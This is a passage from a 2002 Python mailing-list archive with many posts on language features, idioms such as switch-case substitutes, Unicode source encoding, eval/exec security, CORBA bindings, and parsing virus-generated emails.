4 That would be version 4.1. And also according to http://www.mysql.com/documentation/mysql/bychapter/manual_Introduction.html#TODO I'll have to wait for MySQL 5.0 for it to be comparable feature-wise to what PostgreSQL offers today. Gerhard -- mail: gerhard bigfoot de registered Linux user #64239 web: http://www.cs.fhm.edu/~ifw00065/ OpenPGP public key id AD24C930 public key fingerprint: 3FCC 8700 3012 0A9E B0C9 3667 814B 9CAA AD24 C930 reduce(lambda x,y:x+y,map(lambda x:chr(ord(x)^42),tuple('zS^BED\nX_FOY\x0b'))) From max at alcyone.com Sun May 12 15:41:17 2002 From: max at alcyone.com (Erik Max Francis) Date: Sun, 12 May 2002 12:41:17 -0700 Subject: python, a scripting language? References: Message-ID: <3CDEC55D.311D6F7F@alcyone.com> "Erlend J. Leiknes" wrote: > A friend of mine which is a java programmer insists on that python is > scripting language... If Python is a scripting language, then Java most certainly is one as well. The term "scripting language" these days is usually used merely as a diminutive. The languages one likes are called "programming languages," the ones one doesn't are called "scripting language." The term really has no significant meaning. -- Erik Max Francis / max at alcyone.com / http://www.alcyone.com/max/ __ San Jose, CA, US / 37 20 N 121 53 W / ICQ16063900 / &tSftDotIotE / \ Who'd ever think it / Such a squalid little ending \__/ The American and Florence, _Chess_ Church / http://www.alcyone.com/pyos/church/ A lambda calculus explorer in Python. From josue at ufl.edu Thu May 9 22:23:19 2002 From: josue at ufl.edu (Joshua Tompkins) Date: 9 May 2002 19:23:19 -0700 Subject: Python vs. Perl, which is better to learn? References: <82bsbvl5q1.fsf@acropolis.localdomain> <82adrehag0.fsf@acropolis.localdomain> <821ycqjayi.fsf@acropolis.localdomain> <3CD5F1CC.A65C4AE0@engcorp.com> <3CD77BF0.49C749B2@cascade-sys.com> <3CD8B28B.C610082@engcorp.com> Message-ID: "Terry Reedy" wrote in message news:... [snip] > My only direct real-time experience was writing an analysis program > for radiation counts that arrived in batches of three once a minute. > I wrote in Basic for a Kaypro connected by a 300/1200 baud serial > line. Worked fine. But I understand that things now are often (but > not always) quite different. Ha! I've some (limited but fairly recent) experience programming an board produced by the Rigel Corporation (www.rigelcorp.com), built around an Intel 8051, on which one of the supported languages is in fact an Intel implementation of BASIC. With mandatory line numbers, no less. -joshua From whisper at oz.net Fri May 10 19:48:33 2002 From: whisper at oz.net (David LeBlanc) Date: Fri, 10 May 2002 16:48:33 -0700 Subject: correct way to check for True in __builtins__? In-Reply-To: Message-ID: how about: try dir(True) except ... which should return a fat list (which you need not care about) on 2.2.1 and later and choke on 2.2.0 and earlier no? David LeBlanc Seattle, WA USA > -----Original Message----- > From: python-list-admin at python.org > [mailto:python-list-admin at python.org]On Behalf Of Mark McEahern > Sent: Friday, May 10, 2002 16:26 > To: Python > Subject: correct way to check for True in __builtins__? > > > I want to check whether True is builtin and I thought I'd be clever by > saying: > > if True not in __builtins__: > True = bool(1) > False = bool(0) > > of course, __builtins__ doesn't seem to be built to be accessed that way. > > http://mail.python.org/pipermail/pythonmac-sig/2001-April/003285.html > > I could also do: > > import sys > # examine sys.version_info tuple, if it's less than 2, 2, 1... > > Or: > > if True in dir(__builtins__): > ... > > Is there a preferred way to do this? > > Thanks, > > // mark > > > > -- > http://mail.python.org/mailman/listinfo/python-list From phd at phd.pp.ru Tue May 28 05:15:05 2002 From: phd at phd.pp.ru (Oleg Broytmann) Date: Tue, 28 May 2002 13:15:05 +0400 Subject: The email package and KLEZ mails In-Reply-To: <20020528090826.GG505@lilith.my-fqdn.de>; from gh_pythonlist@gmx.de on Tue, May 28, 2002 at 11:08:26AM +0200 References: <3cf33c82.91718234@News.CIS.DFN.DE> <20020528123126.E27752@phd.pp.ru> <20020528090826.GG505@lilith.my-fqdn.de> Message-ID: <20020528131505.I27752@phd.pp.ru> On Tue, May 28, 2002 at 11:08:26AM +0200, Gerhard H?ring wrote: > * Oleg Broytmann [2002-05-28 12:31 +0400]: > > On Tue, May 28, 2002 at 08:21:56AM +0000, Gerson Kurz wrote: > > > I'm using the email module (new in Python 2.2) to analyze messages for > > > spam and HTML content. However, I get exceptions when analyzing KLEZ > > > generated mails, which is disappointing since I'm trying to filter > > > them in the first place. > > > > Klez is a carefully created virus. It sends mail that specifically > > targets Outofluck holes. Those mail messages are constracted in violation > > of RFCs, so you really cannot parse them with RFC-compliant tools :) > > Which is good, because it's a certain sign that you can just throw the > message away because all the interesting email you'll get will be RFC > compliant >:-) At least they should, though it is not always true. RFC 2047 is violated very often :( > You could send an auto-reply in case somebody's MUA or mail system was > fscked up. You cannot. Klez is *really* very clever virus. It inserts bogus Reply-To/Return-path headers and envelope headers :( Oleg. -- Oleg Broytmann http://phd.pp.ru/ phd at phd.pp.ru Programmers don't die, they just GOSUB without RETURN. From cliechti at gmx.net Sun May 26 19:47:35 2002 From: cliechti at gmx.net (Chris Liechti) Date: 27 May 2002 01:47:35 +0200 Subject: len() and __len__ References: <3CF17033.72F7DB3F@earthlink.net> Message-ID: Hans Nowak wrote in news:3CF17033.72F7DB3F at earthlink.net: > Chris Liechti wrote: > >> but you can do >> >>> listoflength = map(len, somelist) >> >> which isn't that simple with __len__(): >> >> >>> listoflength = [] >> >>> for x in somelist: >> ... listoflength.append(x.__len__()) > > Or just > >>>> map(lambda x: x.__len__(), ["foo", "bar", "bogus"]) > [3, 3, 5] yes or a list comprehension... >>> [x.__len__() for x in ["foo", "bar", "bogus"]] [3, 3, 5] chris -- Chris From bokr at oz.net Tue May 14 15:09:17 2002 From: bokr at oz.net (Bengt Richter) Date: 14 May 2002 19:09:17 GMT Subject: Multibyte Character Surport for Python References: <877kmag92g.fsf@tleepslib.sk.tsukuba.ac.jp> <83g00vgo9c.fsf@panacea.canonical.org> Message-ID: On 14 May 2002 10:13:24 +0200, loewis at informatik.hu-berlin.de (Martin v. =?iso-8859-1?q?L=F6wis?=) wrote: > >Python code can contain non-ASCII in byte strings literals, Unicode >string literals, and comments. For recoding, all of those places need >to be recoded, or else no editor in the world will be able to display >the file correctly. > >From the above, a Python source seems to be what might be called a multi-encoded file. ISTM a grammar defining the composition of a multi-encoded file would make things a lot clearer. I know this doesn't represent current practice (I'm just trying to prime the pump ;-) but, what if we had a grammar something like, e.g.,: multi_encoded_file: encoded_string_packet* [bom_headed_unicode_string] ENDMARKER encoded_string_packet: encoded_string_packet_header string_body encoded_string_packet_header: '<' encoding_id ',' packet_body_length '>' encoding_id: 'byte' | 'ascii' | 'unicode' | 'Latin-1' | etc... packet_body_length: digit+ string_body: byte* | bom_headed_unicode_string bom_headed_unicode_string: # etc... The above effectively specifies a file as a raw byte sequence that can be interpreted as variously encoded strings. This raw byte string file can have alternate various representations for display and editing purposes. A smart editor could deal with the various pieces like winword treats embedded graphics and tables, etc., but that is another discussion. For the moment, I'd just like to elicit a grammar representing current practice for Python. This grammar is, or IMO should be, totally orthogonal to what the purpose of the text is, whether Python source or a Chinese novel. Of course a particular use will imply constraints on instance structure, but the grammar per se should not be affected. For the case of Python, it would help me (and probably others) if you would you sketch a version of the above that reflects current design in the various representations of text used by Python. I.e., source file, and in-memory string representations, etc. I think it is good to remember that a Python program is (or at least I consider it as such) an abstract entity first and variously represented second. Abstract token sequences and visible glyph sequences and binary coded representations all have roles, but it is easy to smear the distinctions when thinking about them. Localization should IMO not alter abstract semantics. The possibility of dynamically generating source text and eval- or exec-ing it is something to consider too. Regards, Bengt Richter From brian at sweetapp.com Mon May 20 13:08:04 2002 From: brian at sweetapp.com (Brian Quinlan) Date: Mon, 20 May 2002 10:08:04 -0700 Subject: Newbie: Switch Case In-Reply-To: <67F0CEAF5F0ED411B53900508BC5C8BC700102@admin.datacraft.com.br> Message-ID: <002201c20020$e8d03d70$445d4540@Dell2> Marcus wrote: > Is there any switch case control structure in python ? > what is the syntax ? No, there isn't. You can either use an elif block or a dictionary e.g. if tag == 'p': handle_paragraph() elif tag == 'br': handle_break() elif tag == 'body': handle_body() else: handle_default() or: case = { 'p' : handle_paragraph, 'br' : handle_break, 'body' : handle_body } case.get(tag, handle_default)() Cheers, Brian From pinard at iro.umontreal.ca Wed May 29 20:37:12 2002 From: pinard at iro.umontreal.ca (=?iso-8859-1?q?Fran=E7ois?= Pinard) Date: 29 May 2002 20:37:12 -0400 Subject: Why no open(f, "w").write()? In-Reply-To: <200205291643.08915.gherron@islandtraining.com> References: <200205291422.45264.gherron@islandtraining.com> <200205291643.08915.gherron@islandtraining.com> Message-ID: [Gary Herron] > Here's the quote from the Reference Manual: [...] Yes, I'm well aware of this quote. :-) > I think we can agree that it must be considered "bad programming practice" > to depend on features which the manual claims may not exist, past, > present, or future. I heartedly agree that it is bad practice not keeping oneself between the tracks set by specifications. Without really knowing, I imagine that the said quote might be a politeness from Guido towards other implementations, encouraging them, so they could claim being called Python nevertheless. I wonder if the quote has been there since the beginnings of Python. :-) > [...] it is a matter of implementation quality how garbage collection > is implemented, as long as no objects are collected that are still > reachable. The current (C-)Python implementation is of high quality on that respect, and after checking with knowledgeable people, I got that the dependability of refcounts could be considered as cast in stone, exactly like if it has been documented as such. If I did not get this confirmation first, I would never have started to use things like "open(FILE, 'w').write(CONTENTS)". Now, I really see it as part of (unwritten) specifications of (C-)Python, and perfectly legitimate. -- Fran?ois Pinard http://www.iro.umontreal.ca/~pinard From piet at cs.uu.nl Thu May 2 08:25:42 2002 From: piet at cs.uu.nl (Piet van Oostrum) Date: 02 May 2002 14:25:42 +0200 Subject: Authomatic internet connection References: Message-ID: >>>>> "Max" (M) writes: M> Hi, i'm a new Python-enthusiast. Really GREAT language, i'm having much fun M> with it!!! M> (Sorry, but i had to communicate this to the whole world... :) ) M> Now, a little question: i wrote a very simple script that sends an M> authomatic e-mail message using smtplib. Short, simple and working! M> I would like to know if someone knows how to automatically connect to M> Internet (i'm playing with windows (98 and Xp). It would be nice even to M> bring up authomatically a connection, somehow like the webbrowser package M> does when opening a "http" url) before trying to send the message. You mean dialup connection? You must have pythonwin installed, and then use win32ras.Dial -- Piet van Oostrum URL: http://www.cs.uu.nl/~piet [PGP] Private email: P.van.Oostrum at hccnet.nl From joel*nospam*list at litriusgroup.com Thu May 30 02:29:02 2002 From: joel*nospam*list at litriusgroup.com (destr0) Date: Thu, 30 May 2002 06:29:02 GMT Subject: Exceptions Message-ID: Hello all, I'm having trouble with exceptions. I'm writing a program where I want to catch an exception and extra data and use that data to send an email. def func1(): raise queryError, "There was an Error" #first of all.. .am I giving the exception name properly? try: func1() except: #I'm having trouble putting together a statement here to #grab the extra data I sent to use for something else. do I use: except queryError, data: print data When I do this I get mixed results.. sometimes it seems to throw an extra name exception for queryError. Also.. I don't like this.. because I'd like to be able to catch all exceptions and latch on to their data, instead of explicitly writing a catch statement for each exception I might have . From spam at nomail.net Thu May 9 13:02:16 2002 From: spam at nomail.net (obantec support) Date: Thu, 9 May 2002 18:02:16 +0100 Subject: change a string conditional Message-ID: Hi I need to a piece of python code that will take a string which may or may not begin with www and change it to lists. eg. www.domain.com becomes lists.domain.com but if domain1.com (no www) the it still becomes lists.domain1.com an example of a pattern match will be enough.(I do a bit of perl but never done any python) mark From tjreedy at udel.edu Thu May 16 15:10:33 2002 From: tjreedy at udel.edu (Terry Reedy) Date: Thu, 16 May 2002 19:10:33 GMT Subject: Unicode File I/O Grief References: Message-ID: "Dale Strickland-Clark" wrote in message news:a1u7eu0l24gbvutju856kgcj688avdcphm at 4ax.com... > I simply want to do the following: > > file('C:\\odd.txt', 'wb').write(ucString) > > ...so that I can examine the contents of this (rather long) Unicode > string in an editor. > > Can I write it to a file? Try it and see. The interactive interpreter makes it trivial to investigate such questions oneself. Terry J. Reedy From dkt at registriesltd.com.au Tue May 21 22:01:34 2002 From: dkt at registriesltd.com.au (David K. Trudgett) Date: Wed, 22 May 2002 12:01:34 +1000 Subject: Is python really slow? In-Reply-To: <20020522013941.32B0338F50@coffee.object-craft.com.au>; from andrewm@object-craft.com.au on Wed, May 22, 2002 at 11:39:41AM +1000 References: <20020522112253.C4474@regdp-02.intint.registriesltd.com.au> <20020522013941.32B0338F50@coffee.object-craft.com.au> Message-ID: <20020522120134.E4474@regdp-02.intint.registriesltd.com.au> On Wednesday 2002-05-22 at 11:39:41 +1000, Andrew McNamara wrote: > >By the way, C is a "small" language and not hard to learn. It might be > >hard to learn to program *well* in it, but that's another story. :-) > > Well, not really - this is almost the central issue: C code goes wrong in > subtle ways (eg, double-free() of a pointer, over-indexing an array), > Python doesn't (usually). When it goes wrong, Python encourages interactive > exploration of your code, whereas C, you have go into the time consuming > "edit-compile-debug-iterate" phase. > > If you're new to programming, a language like Python would seem to be the > right place to start. That's quite right. I didn't mean to give the impression that C is a good language to cut one's teeth on. Far from it. However, it is a small language, and therefore easy to learn. That doesn't mean that it's easy to write good programs in it. C goes out of its way to give the programmer all the power required to shoot himself* in the foot. It assumes the programmer knows exactly what he is doing -- a bad assumption most of the time ;-) David Trudgett *Which is not to imply that all programmers are male. Apart from being normal usage in several languages to use the masculine in the generic sense, the fact is that most programmers probably are male! From gerhard at bigfoot.de Fri May 17 22:09:44 2002 From: gerhard at bigfoot.de (Gerhard =?iso-8859-15?Q?H=E4ring?=) Date: 18 May 2002 02:09:44 GMT Subject: -lModules -lPython -lObjects -lParser References: Message-ID: Anton Graph wrote in comp.lang.python: > Btw, whatever happened to Modules Python Objects Parser quadruplet? Was > it replaced by the pythonX.Y lib? > And why is config file a part of that lib now? -v Gerhard -- mail: gerhard bigfoot de registered Linux user #64239 web: http://www.cs.fhm.edu/~ifw00065/ OpenPGP public key id AD24C930 public key fingerprint: 3FCC 8700 3012 0A9E B0C9 3667 814B 9CAA AD24 C930 reduce(lambda x,y:x+y,map(lambda x:chr(ord(x)^42),tuple('zS^BED\nX_FOY\x0b'))) From chrisl_ak at hotmail.com Tue May 21 03:11:01 2002 From: chrisl_ak at hotmail.com (Chris) Date: Tue, 21 May 2002 07:11:01 -0000 Subject: Couple of Qs: ActiveState or "standard" distribution? (and GUI toolkits) Message-ID: A couple of newbie questions (for the future, right now I am speedking through Learning Python): 1) Is there any compelling reason for choosing an installer from python.org instead of the ActiveState distribution for my Windoze machine? I have both, and they seem quite similar, right down to the editor and GUI shell... 2) What graphic toolkit should I use? I see talk about TKInter, wxPython etc etc. I have a few criterion: I'd rather not learn another language (TCL?) at the same time, I'll be primarily developing for use on Windows, though being able to move cross-platform would be cool, I'd like something that is in active development. Where should I start? From siegfried.gonzi at kfunigraz.ac.at Sat May 4 07:07:53 2002 From: siegfried.gonzi at kfunigraz.ac.at (Siegfried Gonzi) Date: Sat, 04 May 2002 13:07:53 +0200 Subject: F2PY problems References: <3CD11924.1B4EAA0E@kfunigraz.ac.at> Message-ID: <3CD3C109.8DC3FB80@kfunigraz.ac.at> Fernando P?rez wrote: > Are you on the scipy-users mailing list? Pearu (f2py's creator) hangs out > there and he's extremely helpful and responsive, I'm sure you'll have better > luck there than here, as f2py is a rather specialized tool these days. The proble actually is that Pearu does not have any access to a windows machine. He cannot help me; he gave me the tip to come up with my problem on the Python mailinglist (though I post it here because the mailinglist does not have a digest option and I do not want to stress my mailbox). I detected the usefulness of Fortran again; I always thought that there exists no free Fortran 95 compiler; but there is one available from NAG called F. It is evident that most of the scientist would throw away C or C++ in order to use Fortran 90/95 (the problem is often the scarceness of free Fortran 95 compilers; in the past I was inclined to give C/C++ a try especially with respect to a developing country; but there is nothing out there which can more hurt a mans brain than C/C++). That said. I got the advice to try to force the system to use mingw32-support. The scipy-distutils is included with the F2PY distribution, but when I force the use of mingw32-support I get the error message that "lib2def" cannot be imported. The ming32-support.py file tells me that "lib2def" is somehow connected with weave. But the F2PY distriubution does not mention any weave libraries. I then deleted the weave part but it is clear I get the error message that gcc will possibly fail. I have to underline that Mingw is installed on my Windows XP machine and I use it successfully (otherwise I couldn't use the Fortran 90 compiler). I have further to emphasize that I can use SWIG without problems; at least I made an external wrapper function a few weeks ago; okay SWIG relies on Microsoft Visual C++. Is there an alternative to F2PY? S. Gonzi From pete at dexterslab.de Mon May 27 09:16:35 2002 From: pete at dexterslab.de (Henning Peters) Date: Mon, 27 May 2002 15:16:35 +0200 Subject: python-orbit Message-ID: Hi NG, i've problems to get a corba-orbit/python-orbit installation running. Using RedHat as distribution solved my problems with all the gnome/glib/linc/popt dependencies that i had with SuSE and Debian. Some hours later, all seem to work and python-orbit compiles successfully. Now, when i try to include CORBA, following error occurs: | >>> import CORBA | Traceback (most recent call last): | File "", line 1, in ? | ImportError: ./CORBAmodule.so: undefined symbol: TC_string_struct After searching the web, it seeems that it has something to do with a wrong version of a library. Has anybody a clue, how to get it run? I'm using following environment: - redhat 7.3 (kernel 2.4.18-3) on i386 - orbit 0.5.15 - glib 1.2.10 - python 2.2.1 - orbit-python 0.3.1 Bye, Henning From roy at panix.com Wed May 1 22:14:26 2002 From: roy at panix.com (Roy Smith) Date: Wed, 01 May 2002 22:14:26 -0400 Subject: Python vs. Perl, which is better to learn? References: <826628efe5.fsf@acropolis.localdomain> <9F74AA1B18A57488.23FAAF6892B1E10D.AAAE27FF654FB148@lp.airnews.net> <82znzjsw6k.fsf@acropolis.localdomain> Message-ID: >> * Something that encourages a different style of thinking. [Lisp] In that catagory, I would suggest PostScript. Most people just think of it as a way to talk to printers. What they don't realize is that it's a real programming language, with sophisticated flow control, data structures, I/O, and memory management (in addition to the graphics and typography support you would expect). Now, granted, I wouldn't want to use it as a general purpose programming language, but if your goal is to expose yourself to different ways of thinking about programming, PostScript is certainly worth exploring. And, it starts with a "P" :-) From peter at engcorp.com Sun May 5 23:00:28 2002 From: peter at engcorp.com (Peter Hansen) Date: Sun, 05 May 2002 23:00:28 -0400 Subject: Python vs. Perl, which is better to learn? References: <82bsbvl5q1.fsf@acropolis.localdomain> <82adrehag0.fsf@acropolis.localdomain> <821ycqjayi.fsf@acropolis.localdomain> Message-ID: <3CD5F1CC.A65C4AE0@engcorp.com> Patrick W wrote: > > I *was* thinking that there are many situations in which Python is too slow ... "Many"? Like what? I object to that characterization: in two years of extensive Python use in a very wide variety of areas, I have not yet found Python to be "too slow". I believe this is a common myth or nasty rumor, without strong basis in reality. -Peter From gcordova at hebmex.com Fri May 31 10:00:21 2002 From: gcordova at hebmex.com (Gustavo Cordova) Date: Fri, 31 May 2002 09:00:21 -0500 Subject: Crashing IDLE Message-ID: > > I really meant assembler as an analogy - Python's VM > (interpreter if you prefer) is quite analgous to a CPU > with C as the microcode for the underlying "simple" CPU. > Too bad none of the user microcodable chips ever > made it into production/broadspread use. It would be > interesting to create a truly microcoded Python chip. > Perhaps one of those 200,000 gate FPLA's.... > hmmmmmmm. > > > -Peter > > > David LeBlanc > Seattle, WA USA > Perhaps with a transmeta chip? Their supposed to do some kind of programmable real-time translation between the code they read through the bus to the code it actually executes. On another track; I've been toying around with two ideas; one is implementing Python on top of Forth, with it actually generating forth code (and compiling it interactively) as it's "bytecode"; the nice thing is, if done with a self- hosting forth implementation, you can generate compact native executable code from your python source. :-) And, another different idea, more akin to Java, is to create bindings from the Python interpreter to a nice new GPL'd library which is a "Just-In-Time Assembler", I can't remember it's name right now ("lightning"?); but it creates native machine code from "pseudo-assembler" instructions, and it's supposed to be multi-platform, so that the same "pseudo- assembler" source is usable across all it's supported platforms. This would be quite nice, and also, if anybody's working with this lib, I'd be interested in getting a look. Anyways, it's fry-day, and I hope you all have a nice weekend :-) Yay! Senegal wins!! -gustavo From Chris.Barker at noaa.gov Tue May 28 17:34:17 2002 From: Chris.Barker at noaa.gov (Chris Barker) Date: Tue, 28 May 2002 14:34:17 -0700 Subject: Why no libpython2.x.so in redhat? References: Message-ID: <3CF3F7D6.C038B240@noaa.gov> Mike Romberg wrote: > You need to call an init function for the Numeric module (described > in the numeric documentation). If you don't then the most common > thing to happen is a segmentation fault. that call is import_array(), and it usually goes in the module initialization mfunction, after Py_InitModule(). I'm not sure where it would go in your example. Oddly, in some cases, the code will work without that call. A while ago I wrote a couple of modules without that call, and they worked fine on RedHat Linux, but then crashed when I tried to use them on a macintosh. Add import_array() fixed it. Perhaps something different about how Debian and RedHat link causes the difference. -Chris -- Christopher Barker, Ph.D. Oceanographer NOAA/OR&R/HAZMAT (206) 526-6959 voice 7600 Sand Point Way NE (206) 526-6329 fax Seattle, WA 98115 (206) 526-6317 main reception Chris.Barker at noaa.gov From shagshag13 at yahoo.fr Tue May 14 15:10:59 2002 From: shagshag13 at yahoo.fr (Shagshag) Date: 14 May 2002 12:10:59 -0700 Subject: OO, complexity and toons... References: <409a56e2.0205131255.104a509f@posting.google.com> Message-ID: <409a56e2.0205141110.7d94dc9b@posting.google.com> > Shagshag wrote: > [snip] > Your problem looks like it's made to order for a relational database. Don't > shoehorn into OO something that wants to be architected in a different > paradigm! I agree with you, it's more about relational databases than oo-programming, but i really need to work on this kind of data structures (there is something about studying inverted files/index and algorithms...) And, as i'm a real newbie in python and OOP, i would like to be sure that python could handle this amount of data, and still be quite effective in search. So do you think my first idea is viable ? How, if you had to, will you design it in OO style ? From serdar at skilic.com Wed May 15 07:28:54 2002 From: serdar at skilic.com (serdar at skilic.com) Date: Wed, 15 May 2002 21:28:54 +1000 Subject: Best book for python? In-Reply-To: References: Message-ID: <1416027707.20020515212854@skilic.com> Take a look at http://diveintopython.org/ obantec, said: obantec> Hi obantec> I need to get up to speed on python so am looking for a book. obantec> Quite a few at amazon to choose from. obantec> Any recommendations? obantec> (BTW i already program in perl/php) -- Kind Regards, serdar | skilic.com From tdelaney at avaya.com Tue May 28 04:16:35 2002 From: tdelaney at avaya.com (Delaney, Timothy) Date: Tue, 28 May 2002 18:16:35 +1000 Subject: eval vs. exec Message-ID: > From: holger krekel [mailto:pyth at devel.trillke.net] > > I've hear these type of arguments before. AFAIK bitter ex-employees > don't need to write some exec/eval-exploit, they just use their old > passwords or implant an easy backdoor on their last days. > > Todays company's practices regarding security are often a *laugh*. > You try to close some mouses' hole but there are already several > open six-lane highways into the core of your system. This doesn't > neccessarily mean you don't need to care, though. That's all true - but it's partially known as "covering one's arse". If *you* haven't left the backdoor open, you're OK. The fewer back doors into a place the better. Most security breaches in business are caused by employees (both current and ex employees). > But assume that your application wants to give the system > administrator > means to inspect and test the objects in a running application. I > wouldn't see the point of investing too much time on how to make it > 'secure' (besides killing long-running mys-typed calculations). How > secure can using a debugger get? At least I often start > my python programs with 'python -i progname.py' which is a > good application of 'exec/eval'. Yes - in which case you (a) trust the employee and (b) close everything up tightly behind them when they're gone. Oh - and (c) you verify as much as possible that arbitrary strings aren't going to kill your system when execed. How many debuggers allow entering arbitrary statements? Most allow you to inspect, and change the value/binding of existing variables, but don't allow executing arbitrary code. > If your strings are coming from a public web-application > it's a different matter, of course. But not everything is > a web-application. In the particular case we are talking about, the strings are coming from an external source - maybe not a public web application, but external nonetheless. There is always a tradeoff of convenience vs security. Security is not just malicious - it's also about accidents. A classic case is teaching. Students tend to make more mistakes than professionals. It is very important to limit the amount of damage they can do. A large part of this is giving them an environment which is "safe" - limited disk quotas and privilege levels. If they *cannot* cause damage, no matter what they do, then by all means give them unlimited eval/exec access. Just don't be surprised when you find someone accidentally DOSing your mission-critical server because you forgot to unplug the student server from the network. Tim Delaney From joonas.paalasmaa at iki.fi Sat May 4 17:31:44 2002 From: joonas.paalasmaa at iki.fi (Joonas Paalasmaa) Date: Sun, 05 May 2002 00:31:44 +0300 Subject: Very strange behaviour on Windows References: <3CD4491E.CEC76CE@iki.fi> Message-ID: <3CD45340.7C50F9D3@iki.fi> Chris Gonnerman wrote: > > ----- Original Message ----- > From: "Joonas Paalasmaa" > > > When I invoke the interactive interpreter on Windows, > > Python claims that every line I type is syntactically > > invalid. However, when the interpreter is used to > > start scripts, everything seems to be working quite > > fine. The problem is propably in Windows's command- > > line, but what the problem could be? > > [[ example ellided ]] > > What version of Windows? Has it ever worked before? Windows 98. It worked earlier, but then something weird propably happened and now it isn't working anymore. Could there be a way to debug the problem deeper and find its cause. From reply at in_newsgroup.tks Thu May 23 22:55:46 2002 From: reply at in_newsgroup.tks (Scrumpy) Date: 24 May 2002 02:55:46 GMT Subject: How should I dynamically generate html tables? Message-ID: I need help to generate a dynamically updated page on my free personal website ;-) On the page in question, I list free & opensource software that I use. I use div elements to split up the page. I have a lefthand div column which contains a software categories menu from which you can jump to the different categories of software on the page. In the righthand div column I list each piece of software in it's own table as follows (this is a simplified version): # A site menu goes here.
Email client
# Each table is identical with cells containing pertinent info about each # particular piece of software eg version, description, website link etc.
FIRST Network tool
SECOND Network tool
# A site menu goes here. I keep the details of each piece of software in a CSV file and after I add or amend data I manually regenerate the above page and upload it to my website. I currently do this by merging the CSV file with a template of one of my "righcontent" div tables using MS Word's mail merge to catalog (single continuous page) feature. I then copy the resulting merged code and paste it into the above page, overwriting the 'old' contents of the "rightcontent" div. In the future, I'd like to generate the whole html page automatically whenever data in the CSV file changes i.e. after I upload an updated CSV file to my website (alternatively, I could setup Apache etc. on my home PC, auto-generate the page and then upload it to my public website). That would mean tables would have to be automatically added, deleted or their contents modified. Ideally I would also like to automatically generate an updated menu in the "leftcontent" div, which would save me time if a new software category is added (each record in the CSV file contains a software category and there can be more than one piece of software in each category). Sometime in the future I may change to a paid webhost that provides MySQL access and use that instead of the CSV file ;-) I'll use the above as a learning exercise as I've never previously programmed in Python. In this situation, do you think that I would be better off using Python or PHP? I've also never programmed in PHP! :) I hope someone can point me to a webpage(s) with info. on how to go about doing this or make some helpful suggestions on where to go from here. Looking forward to hearing from you. Cheers, Scrumpy :) From doru-cat at ifi.uio.no Fri May 10 06:28:41 2002 From: doru-cat at ifi.uio.no (Doru-Catalin Togea) Date: Fri, 10 May 2002 12:28:41 +0200 (MET DST) Subject: "Sharing Directories and Printers", where did it go? Message-ID: Hi! After a fresh installation of Windows ME, I have installed the following three software packages on my computer: 1) fsssh43 (a secure shell client) 2) x-win522f (an x windows emulator) 3) ActiveState Python 2.0 and its pyXML extension One of these packages made my "Share directories and printers" service to be uninstalled. I can not find it anywhere on my system, but I am 1000% it was there before. I can vaguely recall that once, when I tried using ActiveState Python 2.2 (with pyXML extension 0.7) I did not loose the sharing service. However I do not remember exactly. Since I am stuck with Python 2.0 for the time being (some bugs in pyxml 0.7 for Python 2.2, and 2.1) I wonder, (in plain disbelief), if installing Python 2.0, or its pyxml extension could have lead to the removel of the sharing directories and printers utility? This is Python unrelated, but while I am at it, does anyone know if any of the other mentioned packages would conflict with Windows' sharing capability? Thanks in advance, Catalin <<<< ================================== >>>> << We are what we repeatedly do. >> << Excellence, therefore, is not an act >> << but a habit. >> <<<< ================================== >>>> From aleax at aleax.it Thu May 2 11:18:50 2002 From: aleax at aleax.it (Alex Martelli) Date: Thu, 02 May 2002 15:18:50 GMT Subject: Slice objects with negative increment References: Message-ID: Paul Hughett wrote: > Alex Martelli wrote: > > : Paul Hughett wrote: > > : Why ever would it be? slice(j-L-1, i-L-1, -1) works per your stated > : constraints and requirements for a sequence of length L, obviously. > > Ah, ha! It wasn't obvious to me that i-L-1 is an alias for i-1. And Isn't that the whole point of "negative indices alias to nonnegative ones"? It means that, for L>x>=0, x-L and x index the same item. > it still seems bizarre to have to write that when I really mean i-1. Unfortunately you don't _really_ mean that -- given said aliasing -- if the subtraction makes i from nonnegative to negative (i.e., if i is exactly 0, in this case; easily generalizes to i-K for any given K, of course). > someone else's code. Not that I can think of any solution, other than > to explain this trick when slice objects are explained. Explaining is surely good. I think slicing can usefully be introduced before slice-objects -- the latter are a tad harder because more general, as they exist without specifically being tied to a given sequence (and thus in particular to a given sequence _length_, which influences the negative/nonnegative mapping). Alex From tchur at optushome.com.au Sun May 19 15:41:02 2002 From: tchur at optushome.com.au (Tim Churches) Date: Mon, 20 May 2002 05:41:02 +1000 Subject: how to do session management with python ? References: Message-ID: <3CE7FFCE.7933B0F2@optushome.com.au> Matthew Chong wrote: > > Java has servlet feature to take care of session tracking... > but how does python do it ?? As Ian Bickering has pointed out, session management is usually provided by third-party Web application framework which you choose to use (as is the case with Java too: session management servlets are part of an app framework, not part of the Java language itself). For example, the Albatross framework provides mechanisms not only for tracking sessions but also for automatically managing the application context associated with each session. It provides a number of alternative methods for doing this via mixins, including storing context in a compressed (and optionally cryptographically signed) hidden field, in a file in the server local filesystem, or using a stand-alone session server accessed across the network via TCP. Alternative or enhanced methods can be added by the application developer through replacement or mixin classes. Details available at http://www.object-craft.com.au/projects/albatross/ Tim C From erno-news at erno.iki.fi Thu May 9 14:51:48 2002 From: erno-news at erno.iki.fi (Erno Kuusela) Date: 09 May 2002 21:51:48 +0300 Subject: Multibyte Character Surport for Python References: Message-ID: In article , martin at v.loewis.de (Martin v. Loewis) writes: | You mean, non-english-speaking people are prevented from using FORTRAN | and C? Can you name someone specifically? I don't know any such person. i don't know such people either. but since many people only know languages that aren't written in ascii, it seems fairly probable that they exist. -- erno From iwaters at btclick.com Fri May 17 08:55:57 2002 From: iwaters at btclick.com (ian) Date: Fri, 17 May 2002 13:55:57 +0100 Subject: nslookup Message-ID: hi i posted a message similar to this not long ago but the solutions reguired me to import third party lib's can any one post some code to perform an nslookup type of reguest so i can get a list of mail exchangers for a given domain cheers From starx at pacbell.net Sat May 18 16:06:25 2002 From: starx at pacbell.net (Philip Swartzleonard) Date: 18 May 2002 20:06:25 GMT Subject: Disabling garbage colletion? Message-ID: Hm, i just read in another post that you can turn off the garbage collector? What exactly does this stop from happening? Is this a good idea if e.g. you have a system which is guarenteed not to have cyclic-y problems? Hm..... =) -- Philip Sw "Starweaver" [rasx] :: www.rubydragon.com From jason at tishler.net Sat May 4 21:24:02 2002 From: jason at tishler.net (Jason Tishler) Date: Sat, 04 May 2002 21:24:02 -0400 Subject: Creating C modules for Python under Cygwin In-Reply-To: <3CD41CC4.5752F30C@wag.caltech.edu> References: <3CD41CC4.5752F30C@wag.caltech.edu> Message-ID: <20020505012402.GA2312@tishler.net> 